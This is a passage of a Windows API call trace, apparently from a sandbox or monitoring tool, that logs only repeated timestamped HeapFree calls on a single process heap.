	[0175.341] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0175.342] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0175.428] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.450] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.452] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.453] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.462] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.465] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.466] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.466] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.467] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.468] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.468] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.471] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.471] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.472] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.473] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.473] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.487] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.487] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.497] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.502] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.502] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.502] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.503] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.503] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.503] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.504] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.505] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.506] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.506] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.506] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.507] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.508] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.508] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.508] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.508] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.508] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0175.508] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0175.522] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0175.522] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0175.522] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0175.523] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0175.799] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.799] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.799] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0175.840] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.841] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.844] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.844] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.845] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.845] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.845] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.846] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.847] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.848] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.848] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.849] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.849] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.850] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.850] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.851] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.851] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.852] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.852] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.853] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.853] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.854] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.854] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.855] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.855] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.855] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.856] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.856] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.856] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.857] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.857] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.857] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0175.857] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0175.857] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0175.868] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.034] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.035] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.035] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.036] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.090] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.090] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.090] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.091] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.091] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.091] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.091] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.092] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.093] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.094] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.094] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.095] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.095] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.257] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.258] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.411] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.411] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.411] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.411] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.411] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.411] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0176.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0176.417] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.423] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0176.423] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0176.423] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.429] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.430] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.430] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.431] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.431] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.432] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.432] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.433] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.433] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.433] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.434] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.434] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.435] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.435] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0176.436] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.436] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0176.436] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.436] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.588] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.588] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.715] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.897] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.897] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.901] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.902] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.902] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.903] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.903] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.905] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.907] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0176.913] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.940] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.945] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.945] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.945] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.949] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.950] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.951] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.952] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.953] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.953] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.953] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
